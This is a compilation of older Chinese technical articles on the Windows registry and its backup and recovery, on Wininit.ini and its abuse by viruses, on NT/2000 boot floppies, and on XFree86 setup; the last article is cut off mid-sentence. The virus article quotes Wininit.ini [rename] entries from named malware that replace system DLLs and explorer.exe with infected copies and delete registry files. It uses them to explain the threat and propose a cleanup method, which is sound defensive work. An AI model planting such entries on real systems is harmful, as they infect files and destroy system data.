    HKEY_CURRENT_CONFIG包括了系统中现有的所有配置文件的细节。你的选择影响了哪一个硬件配置文件成为现在的。举例来说，如果配置0002被选择了，所有0002的配置信息会被映射到这些键上
    HKEY_CURRENT_CONFIG允许软件和设备驱动程序员很方便的更新注册表，而不涉及到多个配置文件信息。 HKEY_LOCAL_MACHINE中同样的数据和任何注册表的变化都会同时的变化。

    HKEY_DYN_DATA
    在HKEY_DYN_DATA键中所有信息都是在启动时被写入的。它再现了Win95在系统中控制硬件所使用的动态数据。它仅只有三个键。它们保留了系统目前状态监视所需要的很简单的信息
    在HKEY_DYN_DATA中除了暂时文件，没有任何数据被写入硬盘。在系统每次重新启动时所有的数据被重新写入。另外，在既插即用的情况下，当设备改变状态时一些数据可能会写入。（比如说系统运行时在一个PCMCIA槽中插入一块网卡）
    Config Manager
    配置管理包括了在Win95中每个安装设备启动时的信息。在启动时它从HKEY_CURRENT_CONFIG中获得它的列表并且检查每个项。如果找到一个没有在列表中列出的设备，它向系统报告这些信息来安装。如果列表中的一个设备不在系统中，它就会在这个键值中显示这个情况。
    Enum
    系统中已安装的每个设备的启动状态都在这个键中被列出。如果某个设备没准备好，它就在这里显示出来。如果它准备好了，它也会显示出来。每个设备指针也被列出显示哪个注册这个设备用来做它的控制
    PerfStats
    系统中所有设备的性能特征保存在这个键。它是十分难读的，但是通过系统监视器就十分容易看懂
    Security
    这个键显示了登陆在这台机器和网络上的登陆用户从哪个证明者得到有效的证明

    HKEY_USERS
    HKEY_USERS将缺省用户和目前登陆用户的信息输入到注册表编辑器，在win95中，它仅被那些配置文件激活的登陆用户使用，同样在nt下，它也是这样。
    win95从user.dat中取得他们的信息，winnt从ntuser.dat中取得信息。.dat文件包含了所有基于用户的注册表设置并且允许你取配置这些用户的环境。如果你改变了缺省用户的设置，所有新用户会继承同样的设置。而且，那些已经被建立的用户变的失效。
    HKEY_USERS\.DEFAULT
    这个键的设置被用于所有新用户，用户们的配置文件从这个配置文件中建立。它包括所有的环境，屏幕，声音，和其他用户相关的功能。
    HKEY_USERS\.DEFAULT\AppEvents
    这个键列出了事件响应，描述，和各种系统功能的声音
    HKEY_USERS\.DEFAULT\AppEvents\Schemes
    缺省和当前的声音方案在这个键和它的子键中列出。在事件的时间中系统播发这些声音
    HKEY_USERS\.DEFAULT\Console
    这个键保存了MS-DOS窗口的选项、布局、荧屏颜色和字体设置。
    HKEY_USERS\.DEFAULT\Control Panel
    所有在控制面板里配置设置的信息全保存在这个键和它的子键中
    HKEY_USERS\.DEFAULT\Control Panel\Accessibility
    这个键保存了所有在控制面板中辅助功能的设置。
    HKEY_USERS\.DEFAULT\Control Panel\Appearance
    这个键保存了所有在控制面板里显示外观的设置
    HKEY_USERS\.DEFAULT\Control Panel\Appearance\Schemes
    这个键列出了缺省可用的方案，和每个方案包括的颜色和字体。
    HKEY_USERS\.DEFAULT\Control Panel\Colors
    这个键保存了Windows每个缺省颜色的设置。每个值（颜色名）像一个RGB（红、绿、蓝）值列出来。比如说，黑色是0 0 0，意思就是红色值是0，绿色值是0，蓝色值也是0。相反的白色就是255 255 255。其他的颜色都是RGB值合成的。
    HKEY_USERS\.DEFAULT\Control Panel\Sound
    这个键决定了在错误时系统是否发出响声
    HKEY_USERS\.DEFAULT\Environment
    这个键保存了环境设置，特定的临时性文件的位置
    HKEY_USERS\.DEFAULT\Keyboard Layout
    键盘布局设置被设置成标准美国英国标准传统键盘布局。如果你选择了其他的布局，那么数字列表会不同
    HKEY_USERS\.DEFAULT\Software
    软件的安装设置被保存在这个键中，缺省用户只有微软程序的设置
    HKEY_USERS\.DEFAULT\Software\Microsoft
    微软的应用程序的相关设置被放在这个键里。如果其他微软程序被安装，它们就更新这个用户的微软键。在下面的项目显示了缺省的控制
    HKEY_USERS\.DEFAULT\Software\Microsoft\Windows
    这个键保存了只和windows有联系，和windows nt没关系的设置，这些设置在win95中是相同的，使用同样的驱动和功能
    HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT
    基于nt 功能的设置在这个键中。windows nt没有这些设置就不能够运行，它建立环境和网络上的进程，用户权限，打印机，字体等等
    HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
    这个设置控制了windows nt的登陆功能
    HKEY_USERS\.DEFAULT\UNICODE Program Groups
    缺省unicode程序组只是在使用程序管理器时被使用，explorer并不使用它们
    S-1-5-21-1658001358-1336221227-1912232085-500 (SID)
    HKEY_USERS\S-1-5-21-1658001358-1336221227-1912232085-500
    这个是目前登陆用户的sid，每一个网络上的用户都被域用户管理器分配了一个sid，每一个sid都是唯一的，所以它依赖与登陆用户，这个信息改变。它是从用户配置文件的ntuser.dat文件调出的。一般来说，它的子键很多，是基与安装的软件的，选择的和最终设置
    HKEY_USERS\SID\Network
    这个键显示了所有连接到其他系统的映射。举例来说，如果你映射驱动器H: 到\\server1\docs，它会作为一个子键显示出来
    HKEY_USERS\SID\Printers
    这个键显示了所有安装的，共享的和连接的打印机
    HKEY_USERS\SID\Software
    这个键为单独的用户扩展，基于为用户或者被用户安装的其他软件。
    HKEY_USERS保存了所有目前登陆用户和缺省用户的设置。登陆用户的改变就如同不同用户使用这个系统，sid是用户信息的表现。使用程序重新找到任何用户的ntuser.dat文件并且把他放如到注册表中观看和编辑。

    HKEY_CURRENT_USER
    HKEY_CURRENT_USER包含着在HKEY_USERS安全辨别里列出的同样信息。任何在HKEY_CURRENT_USER里的改动也都会立即HKEY_USERS改动。相反也是这样。
    HKEY_CURRENT_USER允许程序员和开发者易于存取目前登陆用户的设置。通过建立这个键，微软很容易在不涉及到用户的SID下改变，添加和设置。
    也就是说，所有当前的操作改变只是针对当前用户而改变，并不影响其他用户。

    注册表后面的秘密(三）注册表的损坏和解决方法

    三、注册表的损坏和解决方法
    注册表可能出现的问题。
    如果注册表受到严重的损害，存取硬件和软件可能会受到很大的限制，甚至系统不能启动。可能因为一个很小的问题，一个应用程序将不能正常的运行，或者运行的不稳定。
    当注册表在运行时是受保护的，所以它不可能被复制，删除，或者改变内容，除非经过一个“验证过的”程序（比如安装程序，注册表编辑工具，和域用户管理器改变安全策略和浏览器等）。由于这些保护，注册表是十分安全的,但是并不是完全能防止的。问题仍会发生，你需要作好认识它们的准备来应付这些问题。
    当你注册表出现问题时，我们大多数会听到或者感觉到下面一些症状来认识问题，注册表问题的特征有：
    昨天计算机（或者软件程序）还工作，但是今天它就不工作了；
    在我安装软件/硬件前它还工作，但是现在我无法使用它了；
    我的系统不象以前那样工作了；
    当我试图关闭计算机时，硬盘响个不停却没有什么反应；
    我的计算机启动不了了；
    天！又是蓝屏，死机了；
    注册表变的不正常一般来说有三种原因:
    1、应用程序和驱动被添加到系统中
    1）在注册表中找出大半的错误与添加和删除程序有关。多数用户自己添加或者更新驱动，应用程序等等。而且添加和删除都是多次的。
    2）程序本身也有问题。没有任何应用程序没有bug或者错误。最好的情况，就是错误微乎其微，复杂深奥的问题你可能从来没见过。在设计程序时因为受时间和经费的限制，这些错误被放置不管。作为一个程序员来讲，在程序里有错误可能是次要的，但是它使系统崩溃那就变成一个大问题了。
    3）驱动程序不兼容。个人计算机世界的开放结构体系造成了一定的风险，因为任何类型的部件组合在一起都是可能的。但测试所有的组合并保证所有设备的兼容性却不太可能。所以当用在Win95下的驱动被用在Winnt时，某些问题就会产生。
    4）在应用程序安装过程中在注册表中添加了不正确的项。在安装时，多数应用程序使用叫一个叫SETUP.INF的文件详细说明例如需要什么磁盘，哪个目录将被建立，从哪里复制文件，使应用程序工作正常所需要建立的注册表项等等详细信息。如果在SETUP.INF中有一个错误，这个改变也仍然会出现，就会出现严重的问题。
    5）一个应用程序导致另一个应用程序和它缺省的文件关联出现错误。当一个应用程序被安装后，缺省文件类型被记录在注册表中。然后用户可以通过双击来启动应用程序和装载文件。很多时候，其他应用程序也会使用同样的扩展名。举例说，当一个TIF图形在基于注册表里的设置被激活时，最后一次装载的程序将会变成一个执行体。有时候，彻底不相同和根本不兼容的程序会在它们自己的文档文件中使用相同的文件扩展名，启动文档的快捷方式将不会工作。在用户操作过程中，如果在文件打开方式选择了不正确的程序，就会造成一定的问题。
    6）在反安装时出现的错误。当你在控制面板里的添加/删除程序种删除程序时，通过应用程序自身的反安装特征，或者通过第三方软件，这可能会对注册表造成损坏。除此之外，删除程序，辅助文件，数据文件和反安装程序可能会试图移去注册表的参数项。因为系统不可能知道一个应用程序在注册表中所要存取的相关参数项，这将会不经意的移除掉其他应用程序的参数项。
    7）字体的错误。当注册表中字体ID出错，你将在应用程序中看到一种不同的字体。这就让人感觉很讨厌并可能需要你移去部分或全部字体并取代它们。这经常发生在用户频繁安装和删除字体的时候。
    2、硬件设置改变或者硬件失败
    1）如果计算机系统自身有问题，注册表会有损害。通常的，这些错误可以在正确的系统维护和管理下避免。
    2）病毒问题。病毒很隐秘的改变正常的文件和注册表中的部分内容来影响我们的系统。
    3）计算机用电如果不正常也会影响计算机系统，用UPS可以避免。
    4）磁盘问题。很多时候你会因为容量不够使硬件失败而换掉你的硬盘。如果整块硬盘失败，当然，你将不得不从备份中恢复你的注册表。其他的则是磁盘独立扇区或者簇的故障。虽然这些情况在今天的系统不可能发生，但是磁盘表面介质的故障会使得磁盘部分不可读，包括那些注册表文件位置。
    3、用户改动了注册表
    1）手工改变注册表。当人们手工编辑注册表，由于数据的复杂性和难懂性使得他们难免容易犯错误，而且这个错误可能很严重导致系统工作发生中断。
    2）拷贝其他注册表是很多用户犯的一个严重错误。因为从其他机器上拷贝来的注册表文件并不意味着也会在这一个机器上工作正常。对单独的系统来说注册表都是特殊的。甚至计算机硬件设备相同，拷贝来的注册表在另一个系统上不见得就会工作。如果使用另一个系统的注册表，多数硬件设备将不会工作，用户和安全问题可能造成数据和应用程序信息无法使用。

    保护Windows注册表
    保护注册表是很重要的，有很多不同的工具可以实现这一目的。当没有安全设置时，用户可能的错误会更多。幸运的是，他们可以有几中方法来保护Windows注册表，在注册表失败时他们可以用额外的拷贝来恢复注册表。下面就是其中的一些方法:
    1、使用windows备份软件
    注:Win95和Win98备份程序有部分区别，在这里只讲Win98的备份程序。
    Win98中包括一个备份程序。当安装Win98时如果你选择“自定义安装”，或者你可以在控制面板中的添加/删除程序里安装它。当你安装了这个备份程序，从 开始菜单| 程序| 附件 |系统工具 |备份 可以运行它。启动时，这个程序提示你是否新建一个新备份，打开现有的备份作业，或者是还原备份文件
    。
    如果选择新建备份，则会有一个备份向导提示你如何去做备份。
    如果选择取消向导，那么可以自己手工设置要备份的内容。在备份内容里可以备份网络和本地驱动器的文件。可以在你想备份磁盘或者文件的选择框打上对号来做备份工作。然后在备份在何处里填上你做备份的目的位置既可。如果要连同windows注册表一起备份，那么在 作业|选项|高级 里，在“备份windows注册表”选择框打对号就可以了。恢复则是备份的逆过程，这里就不详述了。
    2、在安全模式下复制注册表文件
    当Win95运行时，注册表文件被锁定，只能用注册表编辑器或者系统自己来进行存取，这些文件不能够被复制到其他地方。如果你在安全模式下启动Win95,注册表就不会使用同样的方法载入，这样SYSTEM.DAT 和 USER.DAT就可以被复制。实际上安全模式下系统文件是受保护的。
    在启动时，当计算机显示Starting Windows 95...时按F8键进入安全模式。改变SYSTEM.DAT 和 USER.DAT的隐藏和只读属性这样就可以看到和复制它们。当拷贝完注册表文件，不要忘记了改回它们只读和隐藏属性。
    3、使用微软配置备份来备份你的注册表文件
    CFGBACK.EXE是Win95（Win98中没有这个软件）所附带的备份软件。它在Win95CD-ROM上的\Other\Misc\CFGBACK这个目录。在系统上拷贝所有的文件到任何一个目录，然后在桌面上建立一个CFGBACK.EXE的快捷方式。
    要做一个注册表的备份，启动CFGBACK然后在选择的备份名位置输入一个名字然后点备份继续。
    注意：在使用CFGBACK前确定你已经关掉了所有运行的程序。如果有程序在运行，CFGBACK可能将使得系统崩溃，数据丢失，而且保存的是一个不完整的备份。
    4、导出注册表
    在我看来，如果你没有磁带机或者其他东西。在REGEDIT.EXE中导出选项有一个导出为文本文件。通常使用一个压缩工具，导出工具选项也可以被用做保存和保护注册表的方法。
    要导出在注册表中的任意键，选中这个键然后选择 注册|导出注册表文件。这将会复制这个键，并提示你在那里存放这个键及它的名字，然后用一个扩展名为.REG的文件保存这些数据。
    当我们用文本格式导出注册表。我们可以使用象pkzip或者其他压缩工具压缩它（可以在正常Dos模式运行的）来节省空间。
    为了备份我们可以在windows目录下建立一个用来做备份的文件夹。最少在一个月我们应该进行定期的备份。因为许多计算机用户订阅或购买带有赠送CD的计算机杂志。这些CD上有大量的时间限制的共享软件。许多用户从其中安装一个或者多个程序。当软件过期时它们反安装这些程序，但是这些程序在注册表中留下了一些痕迹。频繁的添加/删除程序会影响注册表，但是有了备份相对来说我们就比较安全了。
    我们必须重新启动计算机到DOS模式下来导入，假定你导出你的注册表为mar99.reg.现在在命令提示下打
    REGEDIT /C MAR99.REG
    注册表编辑器将mar99.reg中的数据导入你的注册表并保存。不过只在命令提示下这个全部导入的工作才比较可靠。
    技巧:如果你的注册表不断的变的庞大，那么先导出它然后象上面那样再逐个导入它。在这个导入导出过程中注册表中不必要的项将被清除出去。如果你使用Win98那么你可以使用Scanreg.exe程序。在windows目录命令提示下打 Scanreg /fix来执行命令。
    警告：当你想看一个导出的注册表内容时（扩展名为.reg的文件），不要直接双击它，扩展名.reg文件和REGEDIT.EXE是相关联的，这将会在没得任何提示时自动把这个文件导入到注册表中。如果这个文件里有不正确的数据，它将会破坏注册表。要编辑这个文件，选中它，然后用鼠标右键点它然后选择编辑。
    请记住，预防要比修复好的多。无论你选择什么样的方法备份注册表，做吧。注册表太容易被改变了，在发生突然事件时你手头上有几个注册表的备份是解决问题最好的方法。

    从注册表故障中恢复
    这里有四种不同级别的方法可以从Windows注册表故障中恢复
    Restart
    Redetect
    Restore
    Reinstall
    让我们来看每一个方法来断定来使用它最适合的时间，并且解决何种类型的问题。
    Restart（重新启动）
    Win95注册表大部分内容保存在RAM中。如果哪个信息受损，它就必须重新读取正确的信息。当你重新启动系统，注册表将数据从硬盘读到RAM中就可以使用了。
    拿字体ID问题来说。每种字体在系统中用一个ID号来使用。当一个字体被用在一个文档时，这个字体被这个数字保存并且用一个名字来标识。当字体ID损坏那么字体显示和打印将被其他字体取代。重新启动系统从硬盘上刷新数据，将产生修复过的字体ID，这样字体显示和打印就变的正常了。
    这也就是为什么Windows系统故障经常在重新启动后就又恢复正常的一个原因。
    Redetect the Devices（重新检测硬件）
    如果一个设备工作不正常，那么在注册表中控制设备的设置可能受损了。为了重新设置注册表，你应该删除并且重装设备的驱动，或者你应该让Win95重新检测它们。很多时候，当一个设备工作不正常，它们会在设备管理器上此设备前使用一个惊叹号标志显示出来。很明显，如果设备从不来工作，可能就是其他问题了。但是如果设备以前工作，现在出问题，注册表就需要被恢复。
    要检测一个设备，在控制面板上选择添加新硬件。第一个问题是文你“需要Windows搜索新硬件吗？”如果你选择是，Win95将做一个彻底的搜索去找“新”设备。任何设置不正确的或者没找到驱动的设备将被检测到并显示出来。
    Restore（恢复）
    从CFGBACK中恢复注册表
    从CFGBACK中恢复注册表有很多好处。如果你建立了几个备份，你可以选择正确的一个来恢复。你可以如同做手术般放置排列注册表参数项。
    导入注册表文件
    象前面章节讲述的那样，一个代替使用备份的方法就是导入一个.REG文件。.REG文件包括了目的数据位置，所以对这个文件简单的双击就可以将数据放入注册表。它是所有恢复程序中最简单的，但是也可能造成错误。错误不会是用REGEDIT.EXE把数据写入错误的位置，它很可能出现在用户直接双击注册表文件的时候。
    Reinstall（重新安装）
    重新安装
    最后的方法就是重新安装驱动、应用程序或者Win95。一般来说，它只花费你一个小时左右时间去做这些事。如果你在现有的文件上重新安装，很多配置信息还被安装在同样的地方。同样在安装驱动程序时，你应该重新加入配置数据。
    实际上找出原因并修复它所花费的时间比重新安装还要多，这就是为什么重新安装在技术支持上是一个相当普通的“解决方法”。关键的问题在于，“你是否想找出是什么错误，或者你是否只想让它工作正常？”答案取决于问这个问题的用户情况，发生问题的频繁次数和重新安装的软件的实用性。
    当Windows第一次被安装时它将在启动目录的根目录上创建一个名为SYSTEM.1ST的文件。这是Windows第一次启动时创建的个简单的system.dat文件。你所应该做的就是将这个文件放到windows目录（在dos模式下）并将它的名字改为SYSTEM.DAT。然后重新启动。然后你就可以得到安装时第一次启动的windows。
    因为很多.INI,.DLL和其他文件的改变，这种方法的成功机率大概只超过50%。比如当装IE4.0后系统和注册表将有一个彻底的改变。我们的system.1st文件虽然包含了一个Dll文件的参考，但它可能更新或者改变版本号。
    这里就是几个在注册表出故障的时候恢复它的工具和方法。你的数据可能会安全恢复，但是不管你用什么方法，除了重新格式化硬盘，最好的方法就是做好系统注册表的备份工作。


WININIT.INI文件与Windows病毒

来源：http://it.rising.com.cn/safety/syjq/fhzq/0628winini.htm

--------------------------------------------------------------------------------

★用过Windows 9X的人都见过如下的提示信息：
Please wait while Setup updates your configuration files.
This may take a few minutes...
在安装完某个软件或者硬件的驱动程序，应安装程序的要求重新启动Windows时，常常看到上述信息。我们往往认为这是Windows的正常活动，绝不会把它与病毒联系起来。本文将用事实告戒你：如果你的机器启动时无缘无故地出现上述信息，就要赶紧去找最新的杀毒软件了！
这时Windows在干什么呢？实际上它在执行Wininit.ini给出的指令。Wininit.ini是一个鲜为人知的文件，主要用于删除、更名和更新在Windows运行时不能被施以这些操作的文件。它存在的时间很短，所以显得有点神秘。

一、Wininit文件工作机制
众所周知，在Windows中，一个可执行文件如果正在运行或某个库文件(*.dll, *.vxd, *.sys等)正在被打开使用，则不能被改写或删除。例如：你不可能在资源管理器中删除\windows\explorer.exe。而在Windows的GDI界面下，有一些文件一直处于这种状态下，除explorer.exe外，还有显示驱动程序库文件、文件子系统库文件等，如果我们要对这些文件进行升级、改动，就必须在Windows保护模式核心启动前进行。于是Windows就提供了基于Wininit.ini文件的一个机制来完成这个任务。这个机制是：要删除或改写这类文件的应用程序按一定的格式把命令写入Wininit.ini；Windows在重启时，将在Windows目录下搜索Wininit.ini文件，如果找到，就遵照该文件中的指令删除、改名、更新文件，完成任务后，将删除Wininit.ini文件本身，继续启动过程。所以Wininit.ini文件中的指令只会被执行一次，列目录时也通常没有它的踪影。
Wininit.ini文件的格式简述如下：
Windows 95 Resource Kit提到Wininit.ini文件有三个可能的段，但只叙述了[rename]段的用法。虽然名为[rename]，却可实现删除、改名、更新文件的功能。其格式为：
[rename]
......
filename1=filename2
......
行“filename1=filename2”相当于依次执行“copy filename2 filename1”及“del filename2”这两条DOS命令。
启动时，Windows将用filename2覆盖filename1，再删除filename2，这就实现了用filename2更新filename1的目的；如果filename1不存在，实际结果是将filename2改名为filename1；如果要删除文件，可令filename1为nul，例如：
[rename]
......
nul=filename2
......
将删除filename2。
以上文件名都必须包含完整路径。注意：由于Wininit.ini文件的处理是在Windows文件系统调入前，所以不支持长文件名。
Wininit.ini的应用很多，除了经常在软硬件的安装程序中用到外，还在软硬件的卸载程序中用到。比如：假设你要为自己的软件编写一个卸载程序，这个卸载程序本身是不可能被自己删除的，因为它试图删除自身时，自身却正在运行。为了清除卸载程序本身，你就得借助于Wininit.ini文件。顺便提一句，在安装Windows的最后阶段，就是利用Wininit.ini文件来清除和更名被安装程序SETUP自身使用的文件。

二、该技术在新的Windows病毒中流行
微机操作平台已经完成了从DOS平台到Windows平台的转移，不幸的是，大量出现的Windows 9X病毒标志着病毒也同样完成了这个转移。
Windows病毒在感染文件时，也碰到了这样一个问题：某些文件，因为系统正在使用，不能被改写、被感染。早期的Windows病毒如CIH病毒使用VXD技术来解决这个问题，这易造成系统不稳定。后期的病毒大多采用Windows提供的标准方法—Wininit.ini文件来解决这个问题，比如以下几种新出现的Windows病毒。
1．Win32.Kriz
该病毒又叫圣诞节病毒，内存驻留型，具有多形性。该病毒极端危险，在12月25日发作时将改写CMOS，覆盖所有驱动器上的所有文件，然后用CIH病毒中的同样程序破坏主板上FLASH BIOS。该病毒感染*.EXE(PE格式)和*.SCR文件，同时为了监控所有文件操作，它感染kernel32.dll，接管文件复制、打开、移动等文件存取函数。由于kernel32.dll文件在Windows运行时只能以只读方式打开，为感染它，该病毒将它复制一份，名为KRIZED.TT6，然后感染复制品KRIZED.TT6，写RENAME指令到Wininit.ini文件中，下次机器启动时，KRIZED.TT6将替代原来的kernel32.dll，完成感染。
2．Suppl.A 蠕虫
这是一个Word宏蠕虫，通过在发出的E-mail中插入一个特洛伊文档作为附件传播。当附件被打开时，病毒COPY文档到Anthrax.ini，把要展开的数据写到文件dll.lzh，并解压为dll.tmp，以上文件都放在Windows目录下。下一步这个蠕虫创建一个具有如下内容的Wininit.ini文件：
[rename]
null=C:\Windows\DLL.lzh
C:\Windows\System\Wsock33.dll= C:\Windows\System\Wsock32.dll
C:\Windows\System\Wsock32.dll= C:\Windows\DLL.tmp
第一行是删除dll.lzh，第二行是把原wsock32.dll改名为wsock33.dll，第三行则把dll.tmp改名为wsock32.dll。下一步启动时，这些指令将生效。这样，wsock32.dll就被感染了。利用它，蠕虫就可监控外发邮件，一旦发现外发邮件，蠕虫就自动把特洛伊文档作为附件加到该邮件中进行传播。感染7天后，该病毒将把硬盘上所有以DOC、XLS、TXT、RIF、DBF、ZIP、ARJ、RAR为扩展名的文件长度置为0，从而破坏所有的数据文件。
3．Heathen病毒
多平台病毒，感染Word文档和PE格式EXE文件。为了感染explorer.exe，病毒先把explorer.exe复制为heathen.vex，然后加一条[rename]指令到Wininit.ini文件，例如：
[rename]
c:\windows\explorer.exe=c:\windows\heathen.vex
下次启动时，Windows将帮助它完成对Explorer.exe的感染。另外，该病毒发作时也使用Wininit.ini来删除Windows注册表文件。
[rename]
nul=c:\Windows\System.dat
nul=c:\Windows\User.dat
nul=c:\Windows\System.da0
nul=c:\Windows\User.da0
4．Win95.SK
这是最凶狠、最狡猾的病毒之一了，原有一些BUG，现在已出现了更新的版本，纠正了第一个版本中的所有BUG。它是一个寄生性的Windows病毒，可感染Windows　PE格式文件、HLP帮助文件、压缩包文件(RAR、ZIP、ARJ、HA)。它采用了许多新的高级技术，如：自身加解密技术、入口点隐藏技术等。当磁盘上文件被访问时，它检查其文件名，如果是几个反病毒程序的名字(ADINF、AVPI、AVP、VBA、DRWE，该病毒将删除从C:盘到Z:盘的所有目录下的所有能被删除的文件，然后，调用函数Fatal_Error_Handler使系统死机。
Windows　Shell文件explorer.exe是Windows病毒必争之地，该病毒自然不会放过，但比其他病毒更加完善，它通过从system.ini文件中的“shell=”行来获得Shell文件名。这样，即使你将explorer.exe改名，在Shell中指定实际的文件名，期望借此避免被感染，也是徒劳。它感染Shell文件的具体步骤是：以explorer.exe为例，把explorer.exe复制为explorer.exf，然后感染explorer.exf，再创建Wininit.ini文件，写入合适的Rename指令。这与其他病毒的作法如出一辙。
由于上述原因，一些实时病毒监控软件已把Wininit.ini文件列为重点监控对象。

三、采用Wininit.ini彻底杀除病毒
在Windows平台下杀病毒，会碰到类似问题：如何清除正在运行或处于打开状态的染毒文件中的病毒？了解了Wininit.ini文件的工作机制，我们可以这样来设计杀毒软件：在发现某个染毒文件因为正处于打开状态或执行状态而不能清除病毒时，可将其复制一份，并将复制品去毒，然后在Windows 目录下创建一个Wininit.ini文件(创建之前要先查查 Wininit.ini 文件是否存在)，建立[rename]段，加入一行：染毒文件名=复制品文件名；继续清扫病毒，如果发现类似文件，可在[rename]下再添加一行即可；扫瞄完成后应强烈建议用户重新启动或干脆强行重新启动，以便执行Wininit.ini，完成整个清毒过程。


Winnt/2000重要软盘制作小全

文章来源：中文NT资源网[http://www.AboutNT.com]
版权信息：原创、编译的文章版权归本站所有，如有引用请与中文NT资源网[http://www.AboutNT.com]站长联系。
其它信息：中文NT资源网[http://www.AboutNT.com]为个人网站，站长沧海笑一声，Email:zhuqs@163.com

内容:

编译:沧海笑一声

一.在Winnt中创建安装启动盘

1.准备 3 张空白的、已格式化的 3.5 英寸 1.44 MB 软盘。
2.将其中一张盘插入运行任何版本的 Windows 或 MS-DOS 的计算机的软驱中。
3.将 Windows NT 光盘 (CD) 插入 CD-ROM 驱动器中。
4.单击“开始”，然后单击“运行”。
在“打开”框中，键入 d:\i386\winnt /ox（其中，d 代表指派给 CD-ROM 驱动器的驱动器号），然后单击“确定”。
5.按屏幕提示作。

二.在Winnt中创建引导盘

1.准备1张空白的,用NT格式化的3.5 英寸 1.44 MB 软盘,必须由NT格式化!
2.将软盘插入软驱.
3.将c:\(这儿C是system分区)下的ntldr,ntdlect.com,boot.ini,ntbootdd.sys,BOOTSECT.DOS(后面两个文件可选,视情况,通常这两个文件存在就复制,不存在也没有关系)复制到软盘中.

三.在Winnt中制作紧急修复盘(ERD)

1.1.准备 1 张空白的、已格式化的 3.5 英寸 1.44 MB 软盘。
2.将软盘插入软驱.
3.开始->运行->rdisk /s

四.在Win2000中创建启动盘

1.准备 4 张空白的、已格式化的 3.5 英寸 1.44 MB 软盘。
2.将其中一张盘插入运行任何版本的 Windows 或 MS-DOS 的计算机的软驱中。
3.将 Windows 2000 光盘 (CD) 插入 CD-ROM 驱动器中。
4.单击“开始”，然后单击“运行”。
在“打开”框中，键入 d:\bootdisk\makeboot a:（其中，d 代表指派给 CD-ROM 驱动器的驱动器号），然后单击“确定”。
5.按屏幕提示作。
注意:
从 Windows 2000 Professional 光盘创建的磁盘不能在 Windows 2000 Server 下使用，反之，从 Windows 2000 Server 光盘创建的磁盘也不能在 Windows 2000 Professional 下使用。

五.在Win2000中创建紧急修复磁盘(ERD)

1.准备一张空白的、已格式化的 1.44 (MB) 的软盘。
2.打开备份程序(开始->运行->ntbackup.exe)。
在“欢迎”选项卡上，单击“紧急修复磁盘”。
根据屏幕上显示的说明进行。

要点:
当完成安装之后，将原始系统设置的信息保存在系统分区的 systemroot\Repair 文件夹中。如果使用“紧急修复磁盘”来修复您的系统，那么可以访问该文件夹中的信息。一定不要更改或删除该文件夹。

注意:
上述软盘创建完毕都应该进行测试以确保工作正常.


X window设置程序Xfree86的使用指南

时常看到许多刚接触Linux的人, 在与Xwindow奋战了数天之後, 在不得其门
而入之下. 於是就放弃了使用Xwindow. 但是没有Xwindow的Linux就不好玩了.事
实上目前的Xwindow的设定已经是相当的简单了! 记得在一年前的时候, 那时的
Xwindow是没有设定程式可以用的, 唯一可以参考的资料就只有内附的一些□例
或是一些大厂牌的萤幕或是显示卡的资料.显示卡还没什麽问题, 因为大家用的都
差不多. 但是萤幕的问题就大了, 有几个人的萤幕是用较知名的的牌子的呢? 所
以在那个时候, 经 会看到'烧萤幕'的恶耗出现在bbs的board上. 在那个时候,
为了要让我的Linux能够用Xwindow, 我还特别去计算显示用的参数, 结果算来算
去都没用. 最後只好求助於人(把别人的□例拿来改).

无论如何, 痛苦的日子已经过去了. 现在的Xwindow有了Steven T. Zwaska
先生提供的设定程式, 在资料齐全的情况下只要五分钟就可以设定完成了. 看来
这位Zwaska先生可以说是"萤幕救星"了!

设定的问题在现在来说是很容易解决的, 我写这篇的文章的的目地并不是要
告诉大家如何来安装Xwindow,我希望能够提供大家一些在Xwindow好用的软体的资
讯. 希望以後有更多的人来向大家介绍更好用的软体. 不过在要介绍这些软体之
前, 还是要先让大家的Xwindow动起来. 所以下面先介绍如何设定你的Xwindow.

我将设定分为几个步骤, 如无意外的话应该可以很顺利的安装起来.

(1)准备需要的资料:
请先准备好你的萤幕及显示卡的说明书, 在设定Xwindow时将会用到萤幕的垂直
及水平扫描频率. 还有显示卡所使用的晶片, 卡上的ram的大小. 如果你是S3系
列或是较特殊的卡你可能须要DAC chip和Clock chip这两颗IC的型号.特别值得
一提的是S3系列的卡的说明书上似乎很少有写试用那一颗Clock chip的,有的连
DAC chip是哪一颗都没写. 我每次帮别人装的时候, 遇到S3的卡都要把卡拔起来
一颗一颗IC去找, 真是烦死了!

(2)执行设定程式:
首先要提醒的是, 如果你的是S3卡, 那麽你最好去找XFree86 v3.1.1来装. 如果
你用XFree86 v3.1.0有可能会装不起来. 因为有一些bug! 你可以到各大ftp site
去抓. 你可以全抓回来装, 或者学我只装一小部份. 以ftp.edu.tw为例, 你可以
在/UNIX/linux/X11/XFree86-3.1.1下找到你所需要的程式! 你最少要抓
X311S3.tgz及X311bin.tgz这两个档案回来在/usr/X11R6的目录下解开! 如果可以
的话, 请不要抓X311cfg.tgz这个档, 它有一些Bug会造成startx的环境变得很奇
怪! 如果你是装R5的话你可以run /usr/X11/lib/ConfigXF86/ConfigXF86, R6
的user请run /usr/X11R6/lib/ConfigXF86/xf86config-XFree86-3.1, 而安装
XFree86 v3.1.1的user请run /usr/X11R6/bin/xf86config这支设定程式!不要
弄错了, 不然装R6却去runR5的设定程式那就太好笑了! 因为一共有三支设定程式
我只选xf86config这支程式以S3的卡为例来说明! 其他的设定程式及显示卡的
设定步骤只会少不会多! 少的步骤大家也就不用去管它了, 因为那表示你的卡
没有那些东西好设定!

(3)设定滑鼠:
在执行设定程式後, 前面几个画面没什麽重要的, 你可以一直按ENTER直跳到
设定滑鼠的地方! 然後你将会看到下面几个选项:

First specify a mouse protocol type. Choose one from the following list:

1. Microsoft compatible (2-button protocol)
2. Mouse Systems (3-button protocol)
3. Bus Mouse
4. PS/2 Mouse
5. Logitech Mouse (serial, old type, Logitech protocol)
6. Logitech MouseMan (Microsoft compatible)
7. MM Series
8. MM HitTablet

相信大家都知道自己的滑鼠该选那一种的吧??如果你的滑鼠是可以2键与3键切换的
建议你使用3键的!!因为Xwindow下会使用到第三个键! 另外logitech的滑鼠一般都
应该要选第六项!

选好之後接著会根据你选的mouse问一些东西!你可以看他的说明来决定要选Yes或
No! 根据我的经验如果你不知道要选Yes或No的时候, 多半以选No为佳!尤其如果
你是选第六种mouse的, 当它问你要不要使用ChordMiddle时, 请千万要选No.不然
